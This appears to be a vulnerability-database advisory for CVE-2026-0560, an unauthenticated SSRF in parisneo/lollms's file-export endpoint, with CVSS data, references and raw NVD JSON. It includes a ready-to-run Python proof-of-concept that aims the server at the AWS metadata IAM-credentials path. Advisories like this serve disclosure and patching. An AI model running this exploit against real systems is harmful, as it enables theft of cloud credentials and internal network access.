Security Vulnerability Report
中文
CVE-2026-0560 CVSS 7.5 HIGH

CVE-2026-0560

Published: 2026-03-29 18:16:14
Last Modified: 2026-03-31 19:37:38

Description

A Server-Side Request Forgery (SSRF) vulnerability exists in parisneo/lollms versions prior to 2.2.0, specifically in the `/api/files/export-content` endpoint. The `_download_image_to_temp()` function in `backend/routers/files.py` fails to validate user-controlled URLs, allowing attackers to make arbitrary HTTP requests to internal services and cloud metadata endpoints. This vulnerability can lead to internal network access, cloud metadata access, information disclosure, port scanning, and potentially remote code execution.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:lollms:lollms:*:*:*:*:*:*:*:* - VULNERABLE
parisneo/lollms < 2.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_ssrf(target_url, malicious_url): """ PoC for CVE-2026-0560 SSRF in parisneo/lollms """ endpoint = f"{target_url}/api/files/export-content" headers = {"Content-Type": "application/json"} # Payload attempting to access AWS metadata payload = { "url": malicious_url, # e.g., http://169.254.169.254/latest/meta-data/ "path": "test.jpg" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:9600" # Replace with actual target internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" exploit_ssrf(target, internal_target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0560", "sourceIdentifier": "[email protected]", "published": "2026-03-29T18:16:14.303", "lastModified": "2026-03-31T19:37:38.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Server-Side Request Forgery (SSRF) vulnerability exists in parisneo/lollms versions prior to 2.2.0, specifically in the `/api/files/export-content` endpoint. The `_download_image_to_temp()` function in `backend/routers/files.py` fails to validate user-controlled URLs, allowing attackers to make arbitrary HTTP requests to internal services and cloud metadata endpoints. This vulnerability can lead to internal network access, cloud metadata access, information disclosure, port scanning, and potentially remote code execution."}, {"lang": "es", "value": "Existe una vulnerabilidad de falsificación de petición del lado del servidor (SSRF) en las versiones de parisneo/lollms anteriores a la 2.2.0, específicamente en el endpoint '/api/files/export-content'. La función '_download_image_to_temp()' en 'backend/routers/files.py' no valida las URLs controladas por el usuario, permitiendo a los atacantes realizar peticiones HTTP arbitrarias a servicios internos y endpoints de metadatos de la nube. Esta vulnerabilidad puede conducir a acceso a la red interna, acceso a metadatos de la nube, revelación de información, escaneo de puertos y, potencialmente, ejecución remota de código."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lollms:lollms:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.1.0", "matchCriteriaId": "7118851E-5C3C-499B-BBB5-0327B7FD85AF"}]}]}], "references": [{"url": "https://github.com/parisneo/lollms/commit/76a54f0df2df8a5b254aa627d487b5dc939a0263", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://huntr.com/bounties/65e43a5e-b902-4369-b738-1825285a3ea5", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}